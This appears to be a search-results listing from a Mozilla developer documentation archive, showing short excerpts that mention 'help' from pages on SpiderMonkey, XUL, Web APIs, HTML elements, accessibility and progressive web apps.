... you'll notice that devicestoragehelper.showformatedsize passes a localized name of the unit to availablesize: function showformatedsize(element, l10nid, size) { // … var _ = navigator.mozl10n.get; element.textcontent = _(l10nid, { size: sizeinfo.size, unit: _('byteunit-' + sizeinfo.unit) }); } problem definition even though there's no need to localize the units in english at all, we still need to do it, because...
Hacking Tips
this page list a few tips to help you investigate issues related to spidermonkey.
... debugging tips getting help (from js shell) use the help function to get the list of all primitive functions of the shell with their description.
... note that some functions have been moved under an 'os' object, and help(os) will give brief help on just the members of that "namespace".
Introduction to the JavaScript shell
anything other than 0 will make javascript run extremely slow but may help reveal or reproduce gc-related bugs.
... help([command ...]) displays brief help information about the specified commands, or about all available functions if none are specified.
... gczeal(zeal) enable extra-frequent gc, to help find gc hazards.
JS_NewRuntime
syntax jsruntime * js_newruntime(uint32_t maxbytes, uint32_t maxnurserybytes = js::defaultnurserybytes, jsruntime *parentruntime = nullptr); jsruntime * js_newruntime(uint32_t maxbytes, jsusehelperthreads usehelperthreads, jsruntime *parentruntime = nullptr); // deprecated since jsapi 32 name type description maxbytes uint32 maximum number of allocated bytes after which garbage collection is run.
...(the engine may use helper threads internally, though.) on success, js_newruntime returns a pointer to the newly created runtime, which the caller must later destroy using js_destroyruntime.
... see also mxr id search for js_newruntime js_init js_destroyruntime js_shutdown bug 714050 - added usehelperthreads parameter bug 964059 - added parentruntime parameter bug 941805 - removed usehelperthreads parameter bug 1034621 - added maxnurserybytes parameter bug 1286795 - js_newruntime is renamed to js_newcontext ...
SpiderMonkey 1.8.5
z js_getstringcharszandlength js_getstringencodinglength js_haspropertybyid js_initctypesclass js_internjsstring js_isconstructing_possiblywithgiventhisobject js_isextensible js_isinrequest js_leavecrosscompartmentcall js_lookuppropertybyid js_lookuppropertywithflagsbyid js_new js_newcompartmentandglobalobject js_newdateobject js_newdateobjectmsec js_newfunctionbyid body new c++ helpers while jsapi remains a c api, the engine is now implemented in c++.
... some c++ helpers have been introduced into the api, to help embedders writing c++ projects.
...bug 614138 introduces a c++ js::anchor<> template class to help tie lexical scope to the conservative gc for cases where the compiler might optimize away important stack/register roots (such as when we access the jschars in a jsstring).
SpiderMonkey 1.8.7
z js_getstringcharszandlength js_getstringencodinglength js_haspropertybyid js_initctypesclass js_internjsstring js_isconstructing_possiblywithgiventhisobject js_isextensible js_isinrequest js_leavecrosscompartmentcall js_lookuppropertybyid js_lookuppropertywithflagsbyid js_new js_newcompartmentandglobalobject js_newdateobject js_newdateobjectmsec js_newfunctionbyid body new c++ helpers while jsapi remains a c api, the engine is now implemented in c++.
... some c++ helpers have been introduced into the api, to help embedders writing c++ projects.
...bug 614138 introduces a c++ js::anchor<> template class to help tie lexical scope to the conservative gc for cases where the compiler might optimize away important stack/register roots (such as when we access the jschars in a jsstring).
SpiderMonkey 1.8.8
new c++ helpers while jsapi remains a c api, the engine is now implemented in c++.
... some c++ helpers have been introduced into the api, to help embedders writing c++ projects.
... ...list new c++ helpers here...
SpiderMonkey 17
new c++ helpers while jsapi remains a c api, the engine is now implemented in c++.
... some c++ helpers have been introduced into the api, to help embedders writing c++ projects.
... ...list new c++ helpers here...
Gecko Roles
role_tooltip represents a tooltip that provides helpful hints; this is generally displayed at the mouse cursor position.
... role_helpballoon displays a help topic in the form of a tooltip or help balloon.
... role_character represents a cartoon-like graphic object, such as microsoft office assistant, which is displayed to provide help to users of an application.
Places Developer Guide
however, firefox developers can take advantage of several helper apis that are browser-specific: fuel - a collection of wrapper apis for easing access to a number of firefox utilities and services nsiplacestransactionsservice - a firefox service for modifying bookmarks in a transactional manner, providing facilities for undo/redo places utilities for javascript - accessors and helper functions for firefox and extensions creating bookmarks, folders an...
...// places deals in uris, so here's a helper for creating them.
... getservice(ci.nsiglobalhistory2); var oururi = uri("http://www.mozilla.com"); var isredirect = false; var istoplevel = true; globalhistory.adduri(oururi, isredirect, istoplevel, referreruri); globalhistory.setpagetitle(oururi, "mozilla"); deleting from history // places deals in uris, so here's a helper for creating them.
Places utilities for JavaScript
for instance, normally in order to get access to the bookmarks service, you have to run something like: components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); with places utils all you need to write is: placesutils.bookmarks this should save on the number of references to the service that are needed, and can help clean up interfaces that are already fairly cluttered.
... getquerystringforfolder() helper for getting a serialized places query for a particular folder.
... getmostrecentbookmarkforuri(auri) getmostrecentfolderforfeeduri() getmostrecentfolderforfeeduri(auri) geturlsforcontainernode() geturlsforcontainernode(anode) opencontainernodeintabs() opencontainerintabs(anode, aevent) openurinodesintabs() openurinodesintabs(anodes, aevent) createmenuitemfornode() helper for the toolbar and menu views.
nsIAccessibleRole
role_tooltip 13 represents a tooltip that provides helpful hints.
... role_helpballoon 31 displays a help topic in the form of a tooltip or help balloon.
... role_character 32 represents a cartoon-like graphic object, such as microsoft office assistant, which is displayed to provide help to users of an application.
nsIDOMNSHTMLDocument
inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void captureevents(in long eventflags); void clear(); boolean execcommand(in domstring commandid, in boolean doshowui, in domstring value); boolean execcommandshowhelp(in domstring commandid); obsolete since gecko 14.0 domstring getselection(); nsidomdocument open(in acstring acontenttype, in boolean areplace); boolean querycommandenabled(in domstring commandid); boolean querycommandindeterm(in domstring commandid); boolean querycommandstate(in domstring commandid); boolean querycommandsupported(in domstring...
... execcommandshowhelp() obsolete since gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11) this method never did anything but throw an exception, and was removed entirely in gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11).
... boolean execcommandshowhelp( in domstring commandid ); parameters commandid the name of the command.
Using the clipboard
the component @mozilla.org/widget/clipboardhelper;1 can be used to copy text to the clipboard.
... this component implements the interface nsiclipboardhelper, which has a function copystring that can be used to copy a string.
... const gclipboardhelper = components.classes["@mozilla.org/widget/clipboardhelper;1"] .getservice(components.interfaces.nsiclipboardhelper); gclipboardhelper.copystring("put me on the clipboard, please."); this example will first create a clipboard helper and then copy a short string to the clipboard.
nsCOMPtr versus RefPtr
do_queryinterface versus do_queryobject the do_queryinterface helper is only available when assigning to nscomptr.
...it differs from do_queryinterface as follows: do_queryobject inherits from nscomptr_helper, so it can be assigned into both nscomptr and refptr.
... the downside of this inheritance is that do_queryobject requires an extra virtual call to operator() in the helper method.
Thunderbird extensions
the following documentation provides help for creating extensions for the thunderbird email client.
... need personalized help?
...these links to help through this journey.
Zombie compartments
running the garbage collector, with the corresponding about:memory button will help.
... if you can identify, by disabling them one at a time, a single add-on that is responsible, that is extremely helpful.
... attaching the full contents of about:memory?verbose is very helpful (and you can just cut and paste the page contents, there's no need to take a screenshot).
Paint Flashing Tool - Firefox Developer Tools
with the help of this tool you can figure out whether your website is causing the browser to repaint more than it needs to.
...that's where the paint flashing tool helps: by showing you the areas that the browser repaints in response to an event, you can see whether it is repainting more than it needs to.
...so testing your website with the paint flashing tool helps ensure that it's still performing optimally.
Firefox Developer Tools
note: if you are just getting started with web development and using developer tools, our learning docs will help you — see getting started with the web and what are browser developer tools?
... contribute if you want to help improve the developer tools, these resources will get you started.
... bugs.firefox-dev.tools a tool helping to find bugs to work on.
Using the Frame Timing API - Web APIs
this data can be used to help identify areas that take too long to provide a good user experience.
... first, perhaps using the tools will save you is a bit too strong but performance tools can certainly help identify code that is not conformant to some expected time threshold.
... the performance tool's flame chart and call tree tabs provide data to help analyze the site's javascript usage.
Key Values - Web APIs
vk_oem_finish (0xf1) "help" the help key.
... opens or toggles the display of help information.
... vk_help (0x2f) appcommand_help kvk_help (0x72) gdk_key_help (0xff6a) qt::key_help (0x01000058) keycode_help (259) "pause" the pause key.
Using the Resource Timing API - Web APIs
resource timing properties an application developer can use the property values to calculate the length of time a phase takes and that information can help diagnose performance issues.
...this timing data provides a detailed profile of the resource loading phases and this data can be used to help identify performance bottlenecks.
...to help the developer manage the buffer size, resource timing defines two methods that extend the performance interface.
Inputs and input sources - Web APIs
handedness can be used for various things, including selecting an appropriate mesh to use to represent the controller in the view and to help present it in the correct hand if drawing hands on the display.
... managing input sources when multiple input sources are available, you need to be able to obtain information about each one, including its position and orientation, its targeting ray (if applicable to your needs), and details that can help you decide how to present the input source visually, if at all.
...but if it does, these strategies may help.
Web audio spatialization basics - Web APIs
the rotation is a circle and we need math.sin and math.cos to help us draw that circle.
...ate, which we'll convert into a radian range value for use in math.sin and math.cos later, when we want to figure out the new coordinates when we're rotating our boombox: // set up rotation constants const rotationrate = 60; // bigger number equals slower sound rotation const q = math.pi/rotationrate; //rotation increment in radians we can also use this to work out degrees rotated, which will help with the css transforms we will have to create (note we need both an x and y-axis for the css transforms): // get degrees for css const degreesx = (q * 180)/math.pi; const degreesy = (q * 180)/math.pi; let's take a look at our left rotation as an example.
...ngle increment z = panner.orientationz.value*math.cos(q) - panner.orientationx.value*math.sin(q); x = panner.orientationz.value*math.sin(q) + panner.orientationx.value*math.cos(q); y = panner.orientationy.value; panner.orientationx.value = x; panner.orientationy.value = y; panner.orientationz.value = z; break; this is a little confusing, but what we're doing is using sin and cos to help us work out the circular motion the coordinates need for the rotation of the boombox.
Window.open() - Web APIs
WebAPIWindowopen
an offset is universally implemented by browser manufacturers (it is 29 pixels in ie6 sp2 with the default theme) and its purpose is to help users to notice new windows opening.
... always identify links that will create (or will re-use) a new, secondary window identify links that will open new windows in a way that helps navigation for users by coding the title attribute of the link, by adding an icon at the end of the link or by coding the cursor accordingly.
...he focus of the system to a new frame or window, then the nice thing to do is to tell the user that something like that will happen." world wide web consortium accessibility initiative regarding popups "use link titles to provide users with a preview of where each link will take them, before they have clicked on it." ten good deeds in web design, jakob nielsen, october 1999 using link titles to help users predict where they are going, jakob nielsen, january 1998 example "new window" icons & cursors always use the target attribute if javascript support is disabled or non-existent, then the user agent will create a secondary window accordingly or will render the referenced resource according to i...
Understanding the Web Content Accessibility Guidelines - Accessibility
this set of articles provides quick explanations to help you understand the steps that need to be taken to conform to the recommendations outlined in the w3c web content accessibility guidelines 2.0 or 2.1 (or just wcag, for the purposes of this writing).
...use wcag 2.1 to help more people with disabilities and reduce the future legal risk for web site owners.
...r-word) 17 new success criteria at the a / aa / aaa levels primarily addressing user needs in these areas: mobile accessibility low vision cognitive read more about wcag 2.1: deque: wcag 2.1: what is next for accessibility guidelines tpg: web content accessibility guidelines (wcag) 2.1 legal standing this guide is intended to provide practical information to help you build better, more accessible websites.
Accessibility
wai-aria is a technology that can help with such problems by adding in further semantics that browsers and assistive technologies can recognize and use to let users know what is going on.
... other documentation understanding the web content accessibility guidelines this set of articles provides quick explanations to help you understand the steps that need to be taken to conform to the recommendations outlined in the w3c web content accessibility guidelines 2.0 (wcag 2.0 or just wcag, for the purposes of this writing).
...understand the types of content that can be problematic, and find tools and strategies to help you avoid them.
Auto-placement in CSS Grid Layout - CSS: Cascading Style Sheets
this can be helpful, if you have a document order that reflects the order in which items sit on the grid you may not need to write css rules to place absolutely everything.
...n.realityripple.com/samples/62/643f590dbc.png" alt="placeholder"></li> <li><img src="https://udn.realityripple.com/samples/72/ab41das78e.png" alt="placeholder"></li> <li><img src="https://udn.realityripple.com/samples/72/ab41das78e.png" alt="placeholder"></li> <li><img src="https://udn.realityripple.com/samples/72/ab41das78e.png" alt="placeholder"></li> </ul> auto-placement can also help you lay out interface items which do have logical order.
...this will help to make future versions of the specification better.
Tools - CSS: Cascading Style Sheets
WebCSSTools
css offers a number of powerful features that can be tricky to use, or have a number of parameters, so that it's helpful to be able to visualize them while you work on them.
... this page offers links to a number of useful tools that will help you build the css to style your content using these features.
... other tools css animation - stylie to check the device display information (helpful in responsive web design) - mydevice.io css menus - cssmenumaker.com a mighty, modern css linter that helps you enforce consistent conventions and avoid errors in your stylesheets - stylelint ...
Date and time formats used in HTML - HTML: Hypertext Markup Language
] 1977-04-01t14:00:30 30 seconds after 2:00 pm on april 1, 1977 [details] 1901-01-01t00:00z midnight utc on january 1, 1901 [details] 1901-01-01t00:00:01-04:00 1 second past midnight eastern standard time (est) on january 1, 1901 [details] basics before looking at the various formats of date and time related strings used by html elements, it is helpful to understand a few fundamental facts about the way they're defined.
...leap years help to adjust the calendar to keep it synchronized with the actual position of the planet in its orbit.
... the adjustments to the algorithm (taking a leap year when the year can be divided by 400, and skipping leap years when the year is divisible by 100) help to bring the average even closer to the correct number of days (365.2425 days).
<abbr>: The Abbreviation element - HTML: Hypertext Markup Language
WebHTMLElementabbr
there are, though, a few cases where it's helpful to do so: when an abbreviation is used and you want to provide an expansion or definition outside the flow of the document's content, use <abbr> with an appropriate title.
...ge used to create the semantics and structure of a web page.</p> <p>a <dfn id="spec">specification</dfn> (<abbr title="specification">spec</abbr>) is a document that outlines in detail how a technology or api is intended to function and how it is accessed.</p> result accessibility concerns spelling out the acronym or abbreviation in full the first time it is used on a page is beneficial for helping people understand it, especially if the content is technical or industry jargon.
... example <p>javascript object notation (<abbr>json</abbr>) is a lightweight data-interchange format.</p> this is especially helpful for people who are unfamiliar with the terminology or concepts discussed in the content, people who are new to the language, and people with cognitive concerns.
<input type="number"> - HTML: Hypertext Markup Language
WebHTMLElementinputnumber
using number inputs <input type="number"> elements can help simplify your work when building the user interface and logic for entering numbers into a form.
... mobile browsers further help with the user experience by showing a special keyboard more suited for entering numbers when the user tries to enter a value.
... placeholders sometimes it's helpful to offer an in-context hint as to what form the input data should take.
<input type="password"> - HTML: Hypertext Markup Language
WebHTMLElementinputpassword
specifics of how the entry process works may vary from browser to browser; mobile devices, for example, often display the typed character for a moment before obscuring it, to allow the user to be sure they pressed the key they meant to press; this is helpful given the small size of keys and the ease with which the wrong one can be pressed, especially on virtual keyboards.
... use of a pattern is strongly recommended for password inputs, in order to help ensure that valid passwords using a wide assortment of character classes are selected and used by your users.
...obviously this defeats the purpose of a password field, but it's helpful for experimenting with the pattern.
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
WebHTMLElementinput
as a general rule, you should avoid using them unless it can't be helped.
...having the prompt part of the activation area for the input is helpful for people with motor control conditions.
...this helps a variety of people, including people with motor control issues and people using non-precise forms of input such as a stylus or fingers.
HTML elements reference - HTML: Hypertext Markup Language
WebHTMLElement
they are grouped by function to help you find what you have in mind easily.
...this includes information about styles, scripts and data to help software (search engines, browsers, etc.) use and render the page.
... interactive elements html offers a selection of elements which help to create interactive user interface objects.
HTTP Index - HTTP
WebHTTPIndex
16 content security policy (csp) csp, content security policy, reference, security content security policy (csp) is an added layer of security that helps to detect and mitigate certain types of attacks, including cross site scripting (xss) and data injection attacks.
...this helps guard against cross-site scripting attacks (xss).
...additionally, etags help prevent simultaneous updates of a resource from overwriting each other ("mid-air collisions").
HTTP
WebHTTP
mozilla web security guidelines a collection of tips to help operational teams with creating secure web applications.
... tools & resources helpful tools and resources for understanding and debugging http.
... firefox developer tools network monitor mozilla observatory a project designed to help developers, system administrators, and security professionals configure their sites safely and securely.
JavaScript
introducing javascript objects the object-oriented nature of javascript is important to understand if you want to go further with your knowledge of the language and write more efficient code, therefore we've provided this module to help you.
... tools & resources helpful tools for writing and debugging your javascript code.
...by adding togetherjs to your site, your users can help each other out on a website in real-time!
MathML
here you'll find links to documentation, examples, and tools to help you work with this powerful technology.
... mathml examples mathml samples and examples to help you understand how it works.
... getting help from the community view mozilla forums...
Progressive web app structure - Progressive web apps (PWAs)
for example, an offline mode with the help of service workers is just an extra trait that makes the website experience better, but it's still perfectly usable without it.
...with a little help from service workers, streams can greatly improve the way we parse content.
... next up in the next article we will look in more detail at how the app shell and the content are cached for offline use with the help from the service worker.
Progressive loading - Progressive web apps (PWAs)
previous overview: progressive web apps in previous articles we covered apis that help us make our js13kpwa example a progressive web app: service workers, web manifests, notifications and push.
... conclusion less files to load initially, smaller files split into modules, use of placeholders, and loading more content on demand — this will help achieve faster initial load times, which brings benefits to the app creator and offers a smoother experience to the user.
...we also explained push with help from the service worker cookbook.
The building blocks of responsive design - Progressive web apps (PWAs)
note: you can find the snapshot app on github; check out the code and help improve it.
...but this doesn't help us responsible web developers, who have written small screen layouts into our css using media queries and want mobile devices to display those!
...some ideas follow, which also help to keep the number of http requests down — another key factor in mobile app performance: you should try to use css3 features to programmatically generate graphical effects where possible, rather than relying on image files.
Web security
the web security-oriented articles listed here provide information that may help you secure your site and its code from attacks and data theft.
... content security content security policy (csp) content security policy (csp) is an added layer of security that helps to detect and mitigate certain types of attacks, including cross-site scripting (xss) and data injection attacks.
...it helps isolate potentially malicious documents, reducing possible attack vectors.
Compiling from Rust to WebAssembly - WebAssembly
rustup installs rustc, the rust compiler, as well as cargo, rust's package manager, rust-std, rust's standard libraries, and some helpful docs — rust-docs.
...this helps compile the code to webassembly, as well as produce the right packaging for npm.
... there's lots of exciting work going on in this space; if you'd like to help make it even better, check out the rust webassembly working group.
2015 MDN Fellowship Program - Archive of obsolete content
activities and deliverables help us develop a curriculum on mdn for teaching developers new to graphics programming the webgl apis.
... activities and deliverables help us develop a curriculum on mdn for teaching developers to master performance tooling and to develop web apps with performance as a feature.
page-worker - Archive of obsolete content
see working with content scripts for help on setting this property.
...see working with events for help with events.
/loader - Archive of obsolete content
they are low level helpers and should be used only during loader bootstrap.
...this function is helpful for combining default and passed properties: override({ a: 1, b: 1 }, { b: 2, c: 2 }) // => { a: 1, b: 2, c: 2 } descriptor() this utility function takes an object and as an argument and returns property descriptor map for its own properties.
lang/functional - Archive of obsolete content
functional helper methods.
... usage the lang/functional module provides functional helper methods.
test/utils - Archive of obsolete content
helper methods used in the commonjs unit testing suite.
... usage before and after helper functions before() and after() are available for running a function before or after each test in a suite.
cfx - Archive of obsolete content
cfx usage is: cfx [options] command [command-specific options] "options" are global options applicable to the tool itself or to all commands (for example --help).
... cfx supports the following global options: -h, --help - show a help message and exit -v, --verbose - enable lots of output "command-specific options" are documented alongside the commands.
jpm-mobile - Archive of obsolete content
jpm usage is: jpm-mobile [command] [options] jpm supports the following global options: -h, --help - show a help message and exit -v, --version - print the jpm version number installation jpm-mobile is distributed using the node package manager npm, so to get jpm-mobile you need to have npm installed, if you haven't already.
... if you don't see this, ask for help.
jpm - Archive of obsolete content
jpm usage is: jpm [command] [options] jpm supports the following global options: -h, --help - show a help message and exit -v, --version - print the jpm version number --addon-dir - directory for your source code, defaulting to the current directory installation jpm is distributed with the node package manager npm.
... if you do not see this, ask for help.
Communication between HTML and your extension - Archive of obsolete content
with a lot of help from irc://irc.mozilla.org#js and irc://irc.mozilla.org#extdev i was able to get it running pretty well, but i still would rather have the client less responsible for pinging the extension to "look" for what is on the page.
...what i ended up with some helpful information on the irc channel led me to believe that a custom event might help.
Extension Versioning, Update and Compatibility - Archive of obsolete content
unfortunately, i've encounter cases where adding the mime type to the server didnt help either.
... debugging and solving problems the update mechanism logs information to the console, and display various information which can help you to find problem.
Chapter 6: Firefox extensions and XUL applications - Archive of obsolete content
this should help you understand the initwithpath specification.
...i hope you’ll find that this chapter helps make you a more effective extension developer.
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
you can use it to help debug firefox extensions as well as to inspect and learn how the firefox ui (chrome) is constructed.
...if you keep in mind the following three points at the very least, the next section, developing a simple extension, should help flesh out your understanding.
Introduction - Archive of obsolete content
this will help you understand the culture that surrounds the mozilla community.
...you can read and copy the user agent string of any firefox window, choosing "help > troubleshooting information" from the main menu.
The Essentials of an Extension - Archive of obsolete content
we'll skip some code that is covered in the locale section, moving on to the most important part of the content: <menubar id="main-menubar"> <menu id="xulschoolhello-hello-menu" label="&xulschoolhello.hello.label;" accesskey="&xulschoolhello.hellomenu.accesskey;" insertafter="helpmenu"> <menupopup> <menuitem id="xulschoolhello-hello-menu-item" label="&xulschoolhello.hello.label;" accesskey="&xulschoolhello.helloitem.accesskey;" oncommand="xulschoolchrome.browseroverlay.sayhello(event);" /> </menupopup> </menu> </menubar> <vbox id="appmenusecondarypane"> <menu id="xulschoolhello-hello-menu-2" label="&xulschoolhello.hello.label;" ...
...in our case, we can't use the letter "h" as an accesskey in the main menu item, because it would be the same as the access key in the help menu.
Tabbed browser - Archive of obsolete content
here you should find a set of useful code snippets to help you work with firefox's tabbed browser.
... reusing by url/uri a common feature found in many extensions is to point the user to chrome:// uris in a browser window (for example, help or about information) or external (on-line http(s)://) html documents when the user clicks an extension's button or link.
Source code directories overview - Archive of obsolete content
leaky can help detect memory leaks and xpcom reference counting problems.
...it is generic and can hand the content off to internal components (like messenger), to plug-ins or helper apps.
Mozilla Application Framework - Archive of obsolete content
we provide a comprehensive framework that does much of the work for you, tools to help you develop your apps, and a community of people to help.
... bugzilla the mozilla bug tracking webtool to help you track progress in fixing bugs and implementing features that affect your applications.
New Skin Notes - Archive of obsolete content
this is currently just a preview, but we would appreciate help with testing.
...--dria how about modifying style for the side-bar to have a :hover class added which modifies (to a slightly lighter shade) the background color of the link, this will help to make items "appear as links" to many users, possibly add a text-decoration: underline as well.
Running Tamarin performance tests - Archive of obsolete content
performance test options there are a variety of options available with runtests.py - here is the help text followed by explanations for some options: $ ./runtests.py -h usage: runtests.py [options] [tests] -v --verbose enable additional output -e --avm avmplus command to use -a --asc compiler to use -g --globalabc deprecated but still works - use builtin.abc (used to be location of global.abc) -b --builtinabc location of builtin.abc -s --shellabc location of ...
...shell_toplevel.abc -x --exclude comma separated list of directories to skip -h --help display help and exit -t --notime do not generate timestamps (cleaner diffs) -f --forcerebuild force rebuild all test files -c --config sets the config string [default os-tvm] -q --quiet display minimum output during testrun -l --log also log all output to given logfile --summaryonly only display final summary --rebuildtests rebuild the tests only - do not run against vm --showtimes shows the time for each test --ascargs args to pass to asc on rebuild of test files --vmargs args to pass to vm --timeout max time to run all tests --testtimeout max time to let a test run, in sec (default -1 = never timeout) ...
Video presentations - Archive of obsolete content
mozilla is actively working to produce video presentations that can help you learn how the mozilla codebase works and how to take advantage of its technology in your own applications and extensions.
... this article is a jumping-off point to help you find those presentations.
Mozilla Web Developer Community - Archive of obsolete content
newsgroups, mailing lists, and forums by topic: css - mozilla.dev.tech.css dom - mozilla.dev.tech.dom html - mozilla.dev.tech.html plugins - mozilla.dev.tech.plugins xml - mozilla.dev.tech.xml documentation - see mdc:community more at http://www.mozilla.org/community/dev...er-forums.html mozillazine forums mozilla news and development help mozilla (testing and development) mozdev.org mozillazine planet mozilla spread firefox standards communities get involved in grass-roots web standards evangelism efforts through these groups: the web standards project, a grassroots coalition fighting for standards maccaws, making a commercial case for web standards a list apart, for people who make websites mozilla technology evangelism...
..., get involved with mozilla evangelism you may also find helpful information on the w3c mailing lists newsletter there is no newsletter planned at this time.
Introduction to XUL - Archive of obsolete content
xul (pronounced "zool," as if that spelling helped any, and short for "xml user interface language") is our name for the language in which these ui descriptions are built.
... </window> <window id="help"> ...
List of commands - Archive of obsolete content
folder cmd_bm_sortfolderbyname cmd_close cmd_closeothertabs cmd_closewindow cmd_copy cmd_copyimage cmd_copylink cmd_cut cmd_delete cmd_editpage cmd_findtypelinks cmd_findtypetext cmd_gotoline cmd_handlebackspace cmd_handleshiftbackspace cmd_minimizewindow cmd_neweditor cmd_neweditordraft cmd_neweditortemplate cmd_newnavigator cmd_newnavigatortab cmd_newtabwithtarget cmd_openhelp cmd_paste - paste a selection from the clipboard cmd_printsetup cmd_quit cmd_redo cmd_savepage cmd_scrollpagedown cmd_scrollpageup cmd_selectall cmd_switchdocumentdirection cmd_switchtextdirection cmd_textzoomenlarge cmd_textzoomreduce cmd_textzoomreset cmd_undo cmd_viewcomponentbar cmd_viewlinktoolbar cmd_viewlinktoolbar_false cmd_viewlinktoolbar_maybe cmd_viewlinktoolbar_true...
... cmd_viewnavbar cmd_viewpersonaltoolbar cmd_viewtaskbar cmd_zoomwindow thanks for help of joe.user0 in compiling: http://readlist.com/lists/mozilla.or...l/3/15261.html .
Tooltips - Archive of obsolete content
tooltips a tooltip is used to provide descriptive help to the user about the control that the mouse is over.
... <tooltip id="iconic"> <image src="help.png"/> <label value="save a file to a remote site"/> </tooltip> <button label="save" tooltip="iconic"/> in this example, a tooltip with the id 'iconic' contains an image and a label.
Toolbars - Archive of obsolete content
documentation xul school: adding toolbars and toolbar buttons a helpful tutorial to creating toolbars and toolbar buttons.
... code snippets: toolbar code snippets that are helpful when working with toolbars.
XUL Accesskey FAQ and Policies - Archive of obsolete content
for example, in the manage bookmarks dialog, don't use f, e, v, t or h (file, edit, view, tasks, help).
... help wanted: it would be useful to have an automated tool to check for duplicate and missing accesskeys in xul files.
XUL Changes for Firefox 1.5 - Archive of obsolete content
for instance <button icon="help"> will create a button with a help icon.
... this is used typically on gnome systems where possible values are: accept, cancel, help, open, save, find, clear, yes, no, apply, close, print, add, remove, refresh, go-forward, go-back, properties, select-font, select-color, network.
XUL Questions and Answers - Archive of obsolete content
creating mozsearch plugins contains more help information about creating mozsearch plugin on firefox 2.
...possible values include: accept, cancel, help, open, save, find, clear, yes, no, apply, close, print, add, remove, refresh, go-forward, go-back, properties, select-font, select-color, network.
button - Archive of obsolete content
help a help button for displaying help about the dialog.
...possible values include: accept, cancel, help, open, save, find, clear, yes, no, apply, close, print, add, remove, refresh, go-forward, go-back, properties, select-font, select-color, network.
XUL - Archive of obsolete content
xul tutorial a guided tutorial that will help you get started with xul, originally from xulplanet.
... documentation xul tutorial a guided tutorial that will help you get started with xul, originally from xulplanet.
XULRunner 1.8.0.1 Release Notes - Archive of obsolete content
how can i help?
... if you want to help with xulrunner but don't know where to start, visit the xulrunner:community page and ask questions on the newsgroups or the irc channel.
XULRunner 1.8.0.4 Release Notes - Archive of obsolete content
how can i help?
... if you want to help with xulrunner but don't know where to start, visit the xulrunner:community page and ask questions on the newsgroups or the irc channel.
XULRunner 1.9.1 Release Notes - Archive of obsolete content
how can i help?
... if you want to help with xulrunner but don't know where to start, visit the xulrunner:community page and ask questions on the newsgroups or the irc channel.
XULRunner 1.9.2 Release Notes - Archive of obsolete content
how can i help?
... if you want to help with xulrunner but don't know where to start, visit the xulrunner:community page and ask questions on the newsgroups or the irc channel.
XULRunner 1.9 Release Notes - Archive of obsolete content
how can i help?
... if you want to help with xulrunner but don't know where to start, visit the xulrunner:community page and ask questions on the newsgroups or the irc channel.
XULRunner 2.0 Release Notes - Archive of obsolete content
how can i help?
... if you want to help with xulrunner but don't know where to start, visit the xulrunner:community page and ask questions on the newsgroups or the irc channel.
Dialogs in XULRunner - Archive of obsolete content
in an effort to make things easier for developers and more consistent for users, xul has a mechanism to automatically create and position the core dialog buttons ("ok," "cancel," and "help" for example).
... here is a short list of the button attributes on dialog; see also creating dialogs at mozillazine knowledge base: buttons a comma separated list of buttons to show on dialog (accept, cancel, help, extra1, and extra2).
XULRunner FAQ - Archive of obsolete content
how can i help?
... if you want to help with xulrunner but don't know where to start, visit the xulrunner:community page and ask questions on the newsgroups or the irc channel.
2006-11-22 - Archive of obsolete content
if anyone has experience with these issues, and is comfortable helping out in the mozilla/accessible module, would you please take a look at https://bugzilla.mozilla.org/show_bug.cgi?id=166994 he stated that he almost had it working a couple of years ago.
... discussions image labelling for blind help machines frank hecker brought up a valid discussion about the problem of getting images tagged for use by screen.
2006-10-06 - Archive of obsolete content
discussion highlights: ziga sancin suggests writing an introductory article for potential developers containing basic project information (history, list of main developers, project goals, roadmap and available communication channels, etc), tools needed to start developing and building tb, documentation on source structure as well as links to help one get started on the project.
... brian king also mentions that documentation on handling message headers on the ui side would be helpful.
2006-11-24 - Archive of obsolete content
joe is asking for help on a possible solution to fix his problem.
... vin is asking for help on how to solve the error.
2006-10-13 - Archive of obsolete content
10; the target release date for rc3 is october 17 new tinderbox and bonsai servers the build team would like help testing out the new tinderbox and bonsai servers.
... firefox feature brainstorming you can help suggest features for firefox 3 here meetings project meeting a project meeting was held on oct.
2006-12-01 - Archive of obsolete content
firefox 1.5.0.9/2.0.0.1 update - we need help!
... jay patael calls for help getting the next update ff 1.5.x and 2.x.
Plugins - Archive of obsolete content
there are also some code generation tools that may be helpful.
... site author guide for click-to-activate plugins these guidelines will help website authors use plugins when they are blocked by default with the firefox click-to-activate feature.
Sunbird Theme Tutorial - Archive of obsolete content
sunbird also contains communicator, global, help and mozapps components.
...in your <tt>chrome.manifest</tt> file, add lines like this: skin communicator testing chrome/communicator/ skin global testing chrome/global/ skin help testing chrome/help/ skin mozapps testing chrome/mozapps/ replacing <tt>testing</tt> with your theme's one-word internal name as before.
contents.rdf - Archive of obsolete content
eview.png"> <chrome:packages> <rdf:seq about="urn:mozilla:skin:my_theme:packages"> <rdf:li resource="urn:mozilla:skin:my_theme:browser"/> <rdf:li resource="urn:mozilla:skin:my_theme:communicator"/> <rdf:li resource="urn:mozilla:skin:my_theme:global"/> <rdf:li resource="urn:mozilla:skin:my_theme:mozapps"/> <rdf:li resource="urn:mozilla:skin:my_theme:help"/> </rdf:seq> </chrome:packages> </rdf:description> <!-- version information.
...sion="1.5" about="urn:mozilla:skin:my_theme:browser"/> <rdf:description chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:communicator"/> <rdf:description chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:global"/> <rdf:description chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:mozapps"/> <rdf:description chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:help"/> </rdf:rdf> ...
Back to the Server: Server-Side JavaScript On The Rise - Archive of obsolete content
in recent developments we also see the advent of other performant engines for javascript such as v8 from google and squirrelfish for webkit, these engines are raising the bar on performance and help to maintain a competitive environment that will hopefully direct competitive focus on the performance aspect of all the major javascript implementations.
...the sql statement is prepared, executed, and printed with the help of the metadata obtained from the resultset.
Implementation Status - Archive of obsolete content
